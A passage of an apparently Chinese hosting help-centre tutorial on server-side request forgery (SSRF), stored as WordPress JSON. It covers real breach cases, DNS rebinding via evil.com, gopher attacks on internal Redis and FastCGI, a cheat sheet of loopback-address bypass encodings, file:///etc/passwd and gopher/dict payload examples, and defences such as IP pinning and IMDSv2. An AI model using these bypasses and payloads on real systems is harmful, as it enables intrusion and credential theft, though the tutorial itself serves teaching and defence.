\u4e0d\u8981\u5b9e\u9645\u8bbf\u95ee\u5185\u7f51\u670d\u52a1<br \/>\n2. \u53ea\u8bc1\u660e SSRF \u5b58\u5728&#xff08;\u5982\u8bf7\u6c42 DNSLog \u6536\u5230\u56de\u8c03&#xff09;<br \/>\n3. \u622a\u56fe\u63d0\u4ea4\u7ed9\u5382\u5546 SRC<br \/>\n4. \u7b49\u5f85\u786e\u8ba4\u548c\u4fee\u590d<br \/>\n5. \u4e0d\u8981\u8bfb\u53d6\u4e91\u5143\u6570\u636e\u4e2d\u7684\u51ed\u8bc1<\/p>\n<hr \/>\n<h3>\u5927\u795e\u8fdb\u9636&#xff1a;\u9ad8\u7ea7 SSRF \u6280\u5de7\u4e0e\u771f\u5b9e\u6848\u4f8b<\/h3>\n<h4>A.1 \u771f\u5b9e CVE \u6848\u4f8b\u5206\u6790<\/h4>\n<h5>Capital One SSRF&#xff08;2019&#xff09;<\/h5>\n<p>1. Capital One \u4f7f\u7528 AWS WAF&#xff08;ModSecurity&#xff09;<br \/>\n2. WAF \u914d\u7f6e\u9519\u8bef&#xff0c;\u5141\u8bb8 SSRF \u8bf7\u6c42<br \/>\n3. \u653b\u51fb\u8005\u901a\u8fc7 WAF \u5411 AWS \u5143\u6570\u636e\u670d\u52a1\u53d1\u8d77\u8bf7\u6c42<br \/>\n4. \u83b7\u53d6\u4e86 IAM \u89d2\u8272\u7684\u4e34\u65f6\u51ed\u8bc1<br \/>\n5. \u7528\u51ed\u8bc1\u8bbf\u95ee S3 \u2192 \u4e0b\u8f7d 1 \u4ebf\u7528\u6237\u6570\u636e<br \/>\n6. \u7f5a\u6b3e 8000 \u4e07\u7f8e\u5143<br \/>\n\u200b<br \/>\n\u6559\u8bad&#xff1a;SSRF &#043; \u4e91\u5143\u6570\u636e &#061; \u707e\u96be<\/p>\n<h5>GitHub SSRF&#xff08;2017&#xff09;<\/h5>\n<p>GitHub \u7684 Webhook \u529f\u80fd\u5141\u8bb8\u7528\u6237\u914d\u7f6e\u56de\u8c03 URL<br \/>\n\u653b\u51fb\u8005\u914d\u7f6e\u5185\u7f51\u5730\u5740 \u2192 \u63a2\u6d4b\u5185\u7f51\u670d\u52a1<br \/>\nGitHub \u4fee\u590d\u540e\u9650\u5236\u4e86\u76ee\u6807\u5730\u5740<\/p>\n<h4>A.2 DNS \u91cd\u7ed1\u5b9a\u653b\u51fb\u8be6\u89e3<\/h4>\n<p>1. \u653b\u51fb\u8005\u6ce8\u518c\u57df\u540d evil.com<br \/>\n2. \u914d\u7f6e\u4e24\u4e2a DNS \u670d\u52a1\u5668&#xff1a;<br \/>\n \u00a0 &#8211; \u7b2c\u4e00\u6b21\u89e3\u6790 \u2192 \u8fd4\u56de\u5408\u6cd5\u5916\u7f51 IP&#xff08;\u5982 1.2.3.4&#xff09;<br \/>\n \u00a0 &#8211; \u7b2c\u4e8c\u6b21\u89e3\u6790 \u2192 \u8fd4\u56de 127.0.0.1<br \/>\n \u00a0 &#8211; TTL \u8bbe\u4e3a 0&#xff08;\u7acb\u5373\u8fc7\u671f&#xff09;<br \/>\n\u200b<br \/>\n3. \u670d\u52a1\u7aef\u6821\u9a8c\u6d41\u7a0b&#xff1a;<br \/>\n \u00a0 \u89e3\u6790 evil.com \u2192 IP&#061;1.2.3.4 \u2192 \u901a\u8fc7\u6821\u9a8c \u2705<br \/>\n\u200b<br \/>\n4. \u670d\u52a1\u7aef\u5b9e\u9645\u8bf7\u6c42&#xff1a;<br \/>\n \u00a0 \u518d\u6b21\u89e3\u6790 evil.com \u2192 IP&#061;127.0.0.1 \u2192 \u8bf7\u6c42\u5185\u7f51 \u274c<br \/>\n\u200b<br \/>\n5. \u7ed3\u679c&#xff1a;\u670d\u52a1\u7aef\u8bf7\u6c42\u4e86 127.0.0.1<\/p>\n<p>\u9632\u5fa1&#xff1a;\u6821\u9a8c\u540e\u76f4\u63a5\u7528 IP \u8fde\u63a5&#xff0c;\u4e0d\u518d\u8d70 DNS\u3002<\/p>\n<h4>A.3 Gopher \u534f\u8bae\u653b\u51fb\u5185\u7f51\u670d\u52a1\u5927\u5168<\/h4>\n<p>Redis&#xff08;6379&#xff09;&#xff1a;<br \/>\n  \u2192 \u5199 WebShell<br \/>\n  \u2192 \u5199 SSH \u516c\u94a5<br \/>\n  \u2192 \u5199\u8ba1\u5212\u4efb\u52a1&#xff08;\u53cd\u5f39 Shell&#xff09;<br \/>\n  \u2192 \u5199\u4e3b\u4ece\u540c\u6b65 RCE<br \/>\n\u200b<br \/>\nMySQL&#xff08;3306&#xff09;&#xff1a;<br \/>\n  \u2192 \u6784\u9020 MySQL \u534f\u8bae\u5305\u6267\u884c\u67e5\u8be2<br \/>\n  \u2192 \u8bfb\u53d6\u6570\u636e\u5e93\u5185\u5bb9<br \/>\n\u200b<br \/>\nFastCGI&#xff08;9000&#xff09;&#xff1a;<br \/>\n  \u2192 \u6784\u9020 FastCGI \u534f\u8bae\u5305<br \/>\n  \u2192 \u8ba9 PHP-FPM \u6267\u884c\u4efb\u610f\u4ee3\u7801<br \/>\n\u200b<br \/>\nMemcached&#xff08;11211&#xff09;&#xff1a;<br \/>\n  \u2192 \u8bfb\u53d6\u7f13\u5b58\u6570\u636e<br \/>\n  \u2192 \u5199\u5165\u6076\u610f\u7f13\u5b58<br \/>\n\u200b<br \/>\nElasticsearch&#xff08;9200&#xff09;&#xff1a;<br \/>\n  \u2192 \u8bfb\u53d6\u7d22\u5f15\u6570\u636e<br \/>\n  \u2192 \u6267\u884c Groovy \u811a\u672c<\/p>\n<h4>A.4 SSRF \u7ed5\u8fc7\u5927\u5168&#xff08;\u5b8c\u6574\u7248&#xff09;<\/h4>\n<p>IP \u7ed5\u8fc7&#xff08;10&#043; \u79cd&#xff09;&#xff1a;<br \/>\n  127.0.0.1 \u2192 2130706433&#xff08;\u5341\u8fdb\u5236&#xff09;<br \/>\n  127.0.0.1 \u2192 0x7f.0x0.0x0.0x1&#xff08;\u5341\u516d\u8fdb\u5236&#xff09;<br \/>\n  127.0.0.1 \u2192 0177.0.0.1&#xff08;\u516b\u8fdb\u5236&#xff09;<br \/>\n  127.0.0.1 \u2192 127.1&#xff08;\u7701\u7565&#xff09;<br \/>\n  127.0.0.1 \u2192 [::1]&#xff08;IPv6&#xff09;<br \/>\n  127.0.0.1 \u2192 [::ffff:127.0.0.1]&#xff08;\u6620\u5c04&#xff09;<br \/>\n  127.0.0.1 \u2192 http:\/\/evil.com&#064;127.0.0.1&#xff08;&#064;\u6df7\u6dc6&#xff09;<br \/>\n\u200b<br \/>\n\u8df3\u8f6c\u7ed5\u8fc7&#xff1a;<br \/>\n  302 \u8df3\u8f6c \u2192 \u653b\u51fb\u8005\u670d\u52a1\u5668\u8df3\u8f6c\u5230\u5185\u7f51<br \/>\n  DNS \u91cd\u7ed1\u5b9a \u2192 \u57df\u540d\u89e3\u6790\u5230\u5185\u7f51<br \/>\n  \u77ed\u94fe\u63a5 \u2192 \u8df3\u8f6c\u5230\u5185\u7f51<br \/>\n\u200b<br \/>\n\u534f\u8bae\u7ed5\u8fc7&#xff1a;<br \/>\n  http \u88ab\u7981 \u2192 \u5c1d\u8bd5 https\u3001gopher\u3001dict\u3001file<br \/>\n  URL \u7f16\u7801 \u2192 %31%32%37%2e%30%2e%30%2e%31<\/p>\n<h4>A.5 SSRF \u5927\u795e\u7ea7 Checklist<\/h4>\n<p>\u68c0\u6d4b&#xff1a;<br \/>\n&#8211; [ ] \u662f\u5426\u6709\u7528\u6237\u53ef\u63a7\u7684 URL \u53c2\u6570&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u68c0\u67e5\u4e86\u6240\u6709\u534f\u8bae&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 IP \u7ed5\u8fc7&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 DNS \u91cd\u7ed1\u5b9a&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u6d4b\u8bd5\u4e86 302 \u8df3\u8f6c&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u6d4b\u8bd5\u4e86\u4e91\u5143\u6570\u636e&#xff1f;<br \/>\n\u200b<br \/>\n\u5229\u7528&#xff1a;<br \/>\n&#8211; [ ] \u662f\u5426\u63a2\u6d4b\u4e86\u5185\u7f51\u7aef\u53e3&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u8bfb\u53d6\u4e86\u672c\u5730\u6587\u4ef6&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u5c1d\u8bd5\u4e86 gopher \u534f\u8bae&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u68c0\u67e5\u4e86\u4e91\u5143\u6570\u636e&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u5c1d\u8bd5\u4e86\u653b\u51fb\u5185\u7f51 Redis\/MySQL&#xff1f;<br \/>\n\u200b<br \/>\n\u9632\u5fa1&#xff1a;<br \/>\n&#8211; [ ] \u662f\u5426\u4f7f\u7528\u767d\u540d\u5355\u57df\u540d&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u6821\u9a8c\u89e3\u6790\u540e\u7684\u771f\u5b9e IP&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u7981\u7528\u4e86\u5371\u9669\u534f\u8bae&#xff1f;<br \/>\n&#8211; [ ] \u662f\u5426\u7981\u6b62\u4e86\u8df3\u8f6c&#xff1f;<br \/>\n&#8211; [ ] \u4e91\u73af\u5883\u662f\u5426\u542f\u7528 IMDSv2&#xff1f;<br \/>\n&#8211; [ ] \u5185\u7f51\u670d\u52a1\u662f\u5426\u7f51\u7edc\u9694\u79bb&#xff1f;<br \/>\n&#8211; [ ] Redis \u662f\u5426\u8bbe\u7f6e\u4e86\u8ba4\u8bc1&#xff1f;<\/p>\n<hr \/>\n<h3>\u9644\u5f55&#xff1a;\u901f\u67e5\u8868<\/h3>\n<h4>IP \u7ed5\u8fc7\u901f\u67e5<\/h4>\n<table>\n<tr>\u65b9\u6cd5\u793a\u4f8b\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>\u5341\u8fdb\u5236<\/td>\n<td>2130706433<\/td>\n<td>127.0.0.1<\/td>\n<\/tr>\n<tr>\n<td>\u516b\u8fdb\u5236<\/td>\n<td>0177.0.0.1<\/td>\n<td>0177&#061;127<\/td>\n<\/tr>\n<tr>\n<td>\u5341\u516d\u8fdb\u5236<\/td>\n<td>0x7f.0x0.0x0.0x1<\/td>\n<td>0x7f&#061;127<\/td>\n<\/tr>\n<tr>\n<td>\u7701\u7565<\/td>\n<td>127.1<\/td>\n<td>\u7b49\u4ef7 127.0.0.1<\/td>\n<\/tr>\n<tr>\n<td>IPv6<\/td>\n<td>[::1]<\/td>\n<td>\u56de\u73af<\/td>\n<\/tr>\n<tr>\n<td>\u6620\u5c04<\/td>\n<td>[::ffff:127.0.0.1]<\/td>\n<td>IPv4\u6620\u5c04<\/td>\n<\/tr>\n<tr>\n<td>&#064;<\/td>\n<td>http:\/\/evil.com&#064;127.0.0.1<\/td>\n<td>\u7528\u6237\u540d\u6df7\u6dc6<\/td>\n<\/tr>\n<tr>\n<td>\u8df3\u8f6c<\/td>\n<td>302 \u2192 127.0.0.1<\/td>\n<td>\u91cd\u5b9a\u5411<\/td>\n<\/tr>\n<tr>\n<td>DNS<\/td>\n<td>\u57df\u540d\u89e3\u6790\u5230 127.0.0.1<\/td>\n<td>\u91cd\u7ed1\u5b9a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u534f\u8bae\u5229\u7528\u901f\u67e5<\/h4>\n<table>\n<tr>\u534f\u8bae\u7528\u9014\u793a\u4f8b<\/tr>\n<tbody>\n<tr>\n<td>file:\/\/<\/td>\n<td>\u8bfb\u6587\u4ef6<\/td>\n<td>file:\/\/\/etc\/passwd<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/<\/td>\n<td>SSRF\/\u63a2\u6d4b<\/td>\n<td>http:\/\/127.0.0.1:6379\/<\/td>\n<\/tr>\n<tr>\n<td>gopher:\/\/<\/td>\n<td>\u6253\u5185\u7f51\u670d\u52a1<\/td>\n<td>gopher:\/\/127.0.0.1:6379\/_&#8230;<\/td>\n<\/tr>\n<tr>\n<td>dict:\/\/<\/td>\n<td>\u63a2\u6d4b\u7aef\u53e3<\/td>\n<td>dict:\/\/127.0.0.1:6379\/info<\/td>\n<\/tr>\n<tr>\n<td>php:\/\/filter<\/td>\n<td>\u8bfb\u6e90\u7801<\/td>\n<td>php:\/\/filter\/resource&#061;index.php<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4>\u5185\u7f51\u7aef\u53e3\u901f\u67e5<\/h4>\n<table>\n<tr>\u7aef\u53e3\u670d\u52a1\u63a2\u6d4b\u65b9\u6cd5<\/tr>\n<tbody>\n<tr>\n<td>22<\/td>\n<td>SSH<\/td>\n<td>\u8fde\u63a5\u8d85\u65f6&#061;\u5f00\u653e<\/td>\n<\/tr>\n<tr>\n<td>80\/443<\/td>\n<td>HTTP\/S<\/td>\n<td>\u8fd4\u56de HTTP \u54cd\u5e94<\/td>\n<\/tr>\n<tr>\n<td>3306<\/td>\n<td>MySQL<\/td>\n<td>\u8fd4\u56de\u63e1\u624b\u5305<\/td>\n<\/tr>\n<tr>\n<td>6379<\/td>\n<td>Redis<\/td>\n<td>\u8fd4\u56de -ERR \u6216 &#043;PONG<\/td>\n<\/tr>\n<tr>\n<td>8080<\/td>\n<td>Web \u5e94\u7528<\/td>\n<td>\u8fd4\u56de HTTP \u54cd\u5e94<\/td>\n<\/tr>\n<tr>\n<td>9200<\/td>\n<td>Elasticsearch<\/td>\n<td>\u8fd4\u56de JSON<\/td>\n<\/tr>\n<tr>\n<td>11211<\/td>\n<td>Memcached<\/td>\n<td>\u8fd4\u56de\u7edf\u8ba1\u4fe1\u606f<\/td>\n<\/tr>\n<tr>\n<td>27017<\/td>\n<td>MongoDB<\/td>\n<td>\u8fd4\u56de MongoDB \u54cd\u5e94<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u603b\u7ed3&#xff1a;SSRF \u9632\u5fa1\u6838\u5fc3\u662f\u767d\u540d\u5355 &#043; \u89e3\u6790\u540e\u6821\u9a8c\u771f\u5b9e IP&#xff0c;\u7981\u6b62\u975e http(s) \u534f\u8bae&#xff0c;\u7981\u6b62\u8df3\u8f6c\u3002\u5173\u952e\u7ec6\u8282&#xff1a;\u6821\u9a8c\u540e\u5fc5\u987b\u76f4\u63a5\u7528 IP \u8fde\u63a5&#xff08;\u9632 DNS \u91cd\u7ed1\u5b9a&#xff09;\u3002\u4e91\u73af\u5883\u52a1\u5fc5\u542f\u7528 IMDSv2\u3002\u8bb0\u4f4f&#xff1a;SSRF &#043; \u4e91\u5143\u6570\u636e &#061; \u707e\u96be\u6027\u540e\u679c&#xff08;Capital One \u4e8b\u4ef6\u5c31\u662f\u6559\u8bad&#xff09;\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u7b2c\u96f6\u7ae0&#xff1a;\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840&#xff0c;\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840&#xff0c;\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981\\&#8221;\u4ee3\u4f60\\&#8221;\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801&#xff0c;\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3\\&#8221;\u9884\u89c8\\&#8221;\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e&#xff0c;\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42&#xff1a;\u573a\u666f1&#xff1a;\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60<br \/>\n\u200b<br \/>\n\u573a\u666f2&#xff1a;\u56fe<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[12663],"topic":[],"class_list":["post-111272","post","type-post","status-publish","format-standard","hentry","category-server","tag-ssrf-"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/111272.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u7b2c\u96f6\u7ae0&#xff1a;\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840&#xff0c;\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840&#xff0c;\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981&quot;\u4ee3\u4f60&quot;\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801&#xff0c;\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3&quot;\u9884\u89c8&quot;\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e&#xff0c;\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42&#xff1a;\u573a\u666f1&#xff1a;\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60 \u200b \u573a\u666f2&#xff1a;\u56fe\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/111272.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-30T12:17:37+00:00\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/111272.html\",\"name\":\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-30T12:17:37+00:00\",\"dateModified\":\"2026-09-30T12:17:37+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/111272.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/111272.html","og_locale":"zh_CN","og_type":"article","og_title":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u7b2c\u96f6\u7ae0&#xff1a;\u96f6\u57fa\u7840\u5165\u95e8\u5982\u679c\u4f60\u5b8c\u5168\u6ca1\u6709\u5b89\u5168\u57fa\u7840&#xff0c;\u4ece\u8fd9\u91cc\u5f00\u59cb\u8bfb\u3002\u5982\u679c\u4f60\u5df2\u6709\u57fa\u7840&#xff0c;\u53ef\u76f4\u63a5\u8df3\u5230\u7b2c\u4e00\u7ae0\u30020.1 \u5148\u641e\u61c2\u670d\u52a1\u5668\u4e3a\u4ec0\u4e48\u8981\"\u4ee3\u4f60\"\u53d1\u8bf7\u6c42\u4f60\u7528\u624b\u673a\u626b\u63cf\u4e00\u4e2a\u4e8c\u7ef4\u7801&#xff0c;\u6216\u8005\u5728\u4e00\u4e2a\u7f51\u9875\u8f93\u5165\u4e00\u4e2a\u94fe\u63a5\u60f3\"\u9884\u89c8\"\u2014\u2014\u8fd9\u4e9b\u64cd\u4f5c\u80cc\u540e&#xff0c;\u662f\u4f60\u7684\u6d4f\u89c8\u5668\u5728\u53d1\u8bf7\u6c42\u3002\u4f46\u6709\u4e9b\u529f\u80fd\u662f\u670d\u52a1\u5668\u5e2e\u4f60\u53d1\u8bf7\u6c42&#xff1a;\u573a\u666f1&#xff1a;\u5728\u7ebf\u7ffb\u8bd1\u4f60\u8f93\u5165\u4e00\u4e2a\u7f51\u5740 \u2192 \u7ffb\u8bd1\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u53bb\u8bbf\u95ee\u90a3\u4e2a\u7f51\u5740 \u2192 \u628a\u9875\u9762\u5185\u5bb9\u7ffb\u8bd1\u7ed9\u4f60 \u200b \u573a\u666f2&#xff1a;\u56fe","og_url":"https:\/\/www.wsisp.com\/helps\/111272.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-30T12:17:37+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"11 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/111272.html","url":"https:\/\/www.wsisp.com\/helps\/111272.html","name":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-30T12:17:37+00:00","dateModified":"2026-09-30T12:17:37+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/111272.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/111272.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"SSRF \u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/111272","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=111272"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/111272\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=111272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=111272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=111272"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=111272"}],"curies"